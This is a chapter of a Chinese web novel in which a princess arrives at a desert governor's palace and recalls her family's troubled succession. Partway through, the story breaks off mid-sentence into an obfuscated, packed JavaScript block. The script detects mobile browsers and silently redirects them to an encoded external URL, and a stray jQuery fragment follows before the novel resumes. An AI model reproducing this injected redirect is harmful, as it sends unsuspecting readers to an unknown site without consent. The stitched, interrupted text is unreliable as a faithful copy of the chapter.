14. 莫知我哀

作品:《老婆总想抢我江山怎么办

    马车沿着官道,驰骋在大漠的腹地。


    华阳魇足地睡到自然醒,伸一伸懒腰,感慨活着真好。


    她坐起来挑帘张望,正赶上他们的人马跨越护城河,雁行般驶入应许首府天方城的雕花城门。原来真正的应许地的城楼,是银白色的。


    由于白怀到处都是金矿,鲜少白银资源,所以这儿的白银比黄金更加珍贵,白日里一片光飞耀眼,闪烁发亮。此地行人亦多着素色大袍,以纯白头巾覆面。


    鉴于平民男女同服,款式上翻不出花样,那爱俏的姑娘便别出心裁,耳上簪着新鲜的花儿,腰间束上红艳的丝带,男子则在袖子里坠着香囊。


    城内连着善逝河,水陆通流,商船云集,百贾交会,万户相连。


    摊贩沿街叫卖,椰枣、刺角瓜、沙棘果堆成小山,木雕、织毯、琉璃灯挂满杆头,处处流动花果香与香料味。


    于是天方城留给华阳的第一印象,就是充满了清甜的空气,叫人精神为之一快。


    车窗外骑马护卫的桑丘见帝姬探头探脑,笑呵呵道:“殿下虽然形容枯槁,晒黑不少,幸好还是全须全尾的。”


    华阳剜他一眼,问道:“翡丽呢?”


    “殿下放心,她有些中暑,怕不能很好地伺候您,就跟军医一块儿坐在后头那辆车上了。


    “总督大人在每辆车中都备了水和吃食,您用一些。”


    眼睛瞬间亮起,她在车厢内翻了一翻,果然找到一个装有糕点及果饮的双层木盒。


    “你的差事办得很好!”她一边吃一边夸。


    “殿下再休息会儿吧!等到了行宫安顿下来,晚上少不得要设宴接风。”他抬手指向大路尽头,“别人可以推辞不去,您不行啊!


    “诺盾族的诸位城主、长老、营造官、大法官、监察官、治安官……都等着您亲自接见呐!”


    听这一通报官名,来的不是宗教领袖就是政治人物,晚上这场应酬是推不掉了。


    华阳顿时头疼不已,拉上帘子,倒在垫子上长吁短叹——也罢,她享受了帝姬的福利,活该承担相应的责任。


    不过,琉国跟诺盾族的历史遗留问题错综复杂,不该她干涉的,她绝不能多嘴。


    ——诺盾,原意为“雪山那边的流浪者”。


    他们的祖先从云截山的背面跋山涉水而来,踏遍红河两岸,在西陆到处奔波,最终辗转进入白怀北部定居。


    这个名字承载着歧视、孤立、欺压、驱逐,以及抗争失败后长达百年的颠沛流离。


    诺盾人信仰一神教,坚信世界上只存在唯一至上的主,无所不在、无所不能、无形无象,创造万物而又超绝万物之上。


    内部强大的一神教信仰,加上外部国家砌筑的隔离高墙,使诺盾人相偎成一个民族,代代相传。


    这无疑跟琉国、隆朝诸国以神话为基础的多神崇拜相违背,故而备受争议,被周边诸国联合施以限制。


    诺盾族利弊权衡之下,果断投靠琉国,认同琉主是应许地的实际最高统治者,换来名义上的自治自主。


    琉国帝姬乘坐的马车驶入行宫,又过了一刻钟,方抵达正厅门口。


    显然,这座行宫占地甚广,光一个前院就大得惊人,山水相连,一步一景,珠围翠绕尽豪奢。大门两边侍者如云聚集,做足了接驾的排场。


    华阳步下车,望着院中的亭台瀑布直咂舌。


    一转头,瞧见金碧辉煌的主楼,她更是吐槽道:“这就是陛下年轻时候的品味?好浮夸的装潢。”


    翡丽在军医的搀扶下站定,闻言打趣道:“殿下在背后如此非议主君,当心我回哈萨图告状哦。”


    华阳关切地问道:“你身子好些了么?”


    斐丽走上前行礼:“托殿下洪福,我们都好好的。”


    华阳见女官面色、唇色还有点发白,精神倒是恢复过来了,也就安心了。


    “听说这座行宫,是比照陛下昔日云游之际,亲绘的图纸搭建的,”斐丽又说,“想来他那会儿就喜欢这种样式。”


    华阳顺势环顾四周,只见天花板、廊柱、地板之间镶满闪瞎眼的琥珀玛瑙,彼此反光照射,宛如星辰落宫苑,漫天的锦障流苏就是星轨。


    “也不知上回有人来住,该是多少年前的事儿了……”她嘀咕道。


    “殿下不必困扰,这座行宫日日有仆役打扫。”巴慈总督突然冒出来,指引大家登上楼梯,“陛下还是二王子的那些年,他每个春天都会来此,与宾客为长夜饮。”


    仿佛被某个字眼刺痛,华阳霍地沉默了。


    “二王子”……世上好久没人这般称呼琉主了吧?


    恐怕他们早就淡忘了,当今琉主摩诘,本不是帝位的第一顺序继承人。


    但是原主深深地记得一切。


    前代琉主华子穆执政期间,储君是他的嫡长子华棣。


    二王子乐得轻松自在,逐渐养成了乖张的性子,不读典籍经书,偏学挖煤宰猪,广交异士游侠,捣鼓奇门遁甲。


    他甚至擅自改掉本名“华枫”,自名“摩诘”。


    这个名字出自海外佛语,象征洁净无垢。


    及至苏美琉后病危之际,华子穆琉主终于从天方城召回乐不思蜀的摩诘,命他于母亲榻前立誓,日后定将成长为足以辅佐华棣的国之柱石,因华棣志在弓马,并不稀罕文事。


    苏美琉后病故以后,摩诘收心养性,再未离开过哈萨图城。


    岁月打磨着他,沉淀着他,使他不见衰老,只见风华,渐渐变作了今时大众熟知的领袖:心思缜密,冷静自制,身无武功亦能号令千军万马。


    ……


    巴慈继续说:“下官有幸,曾为陛下的座上宾,更见识过他千杯不醉的风采。


    “那之后,下官被陛下委以重任,派驻在这应许之地,距今已有二十年。


    “陛下国士遇我,我自国士报之。”


    华阳冷冷地打断他:“好了,你对王叔的一片赤胆忠心,我定会写信详加汇报,你这会儿不必跟我啰嗦。”


    “王叔”。


    应许总督立即意识到自己失言了。


    哈萨图帝姬华阳,并非摩诘琉主的亲生女,而是其兄长华棣的遗孤。


    *


    隆朝崛起以前,琉国是东西两陆公认的最强霸主,野无衡敌,对无立国,四海皆畏。


    人们口口相传这个国家经崇岭高原的土石孵化,纵使盛夏的骄阳炽烈到能烤焦皮肤,行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350195|167940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人踩在路上的脚心仍感觉到冷。


    或许,琉人的祖先正是雨雪与暴风化身的精怪,无怪乎他们能征善战,胸膛如同支撑苍穹的云截山一样刚硬。


    琉国首都哈萨图城建在山岭的心脏正中,开国大帝特意为此雕凿了圣岩壁,用一整面石壁来记录山神的一千个姿态。


    拜访者想叩开神都的城门的话,必须爬上一万级台阶,方可站在守卫城门的两头石雕巨狮之间,承受来自帝国军威的压迫感。


    幅员辽阔的琉帝国,以天亘峰为圆心,十二个行省向四周辐射分布,又以崇岭为界线,统共划为东西南北四个片区。


    四个片区对应的四位总督军政大权合一,在地方上和掌管财权的财务官、掌管神权的祭司分庭抗礼。


    十二年前,岭东总督宁孙造反,以整个东方片区为根据地,封堵要塞,剑指神都。


    华子穆琉主遇刺身亡后,本应由储君华棣继位,然而来不及举行加冕仪式,华棣便不幸战死沙场。


    二王子摩诘将哥哥唯一的女儿华阳过继到自己膝下,随后登基称帝。


    华阳年满十五,自请上前线卫国。两年后,她斩杀宁孙,终结内乱,立下赫赫军功。


    由于长年居住在远离帝国本土的应许地,内乱时期的哈萨图城究竟是何情形,巴慈总督并不比大众更了解。


    好比华棣的妻子,王妃裘莲的死因。


    坊间有传她是投水殉情的,有传她是被俘后失踪的,有传她是外逃路上病殁的,议论纷纷,莫衷一是。


    可是华阳名分上改到琉主名下,二人却从未以父女相称这件事,巴慈还是听说过的。


    他一时失察讲错了话,不免感觉尴尬。


    “殿下请这边看,您的卧室是北房……”他岔开话题,“北厢为上房,房内的一切都是对照着山宫来装点布置,绝对让您宾至如归。”


    华阳点点头,应下了,无意追究他的口误。


    琉国政体三权分立,设有两院议会,上院又称贵族院,下院又称平民院。


    琉主相当于联盟的共主,与上下两院相互节制,以保证在司法、军事等方面裁决的公正性。


    巴慈既非贵族出身,也不是神都外放出去的议员,即是说,他能掌管应许地二十年不倒,首先是效忠于摩诘琉主个人,其次才是效忠哈萨图皇室。


    于是帝姬吩咐这位总督,务必把自己费尽千辛万苦带出流沙的琉人和女奴安置妥当,请医官仔细检查身体,吃饱睡好。


    特别是那些无家可归的女奴,假如她们无从适应外面的群居生活,一定集体收容在行宫,安排洒扫一类的体力活即可。


    此外,也要抓紧时间腾出一间宫室作为都祭堂,替此行在沙漠里罹难的所有亡者刻字立碑。


    巴慈一一应允,引着翡丽和桑丘先行告退。


    帝姬独自踏进北房,早有侍女列队相迎,烧了大桶热水,添入许多香料,准备服侍主人好好沐浴。


    这似曾相识的一幕让华阳恍了神,好像在某时某地,她也曾是这样,一身泥污,九死一生。


    当她坐进浴桶,浑身被热水浸泡着,她想起来了……


    正是原主十五岁快马加鞭赶回哈萨图的那一天。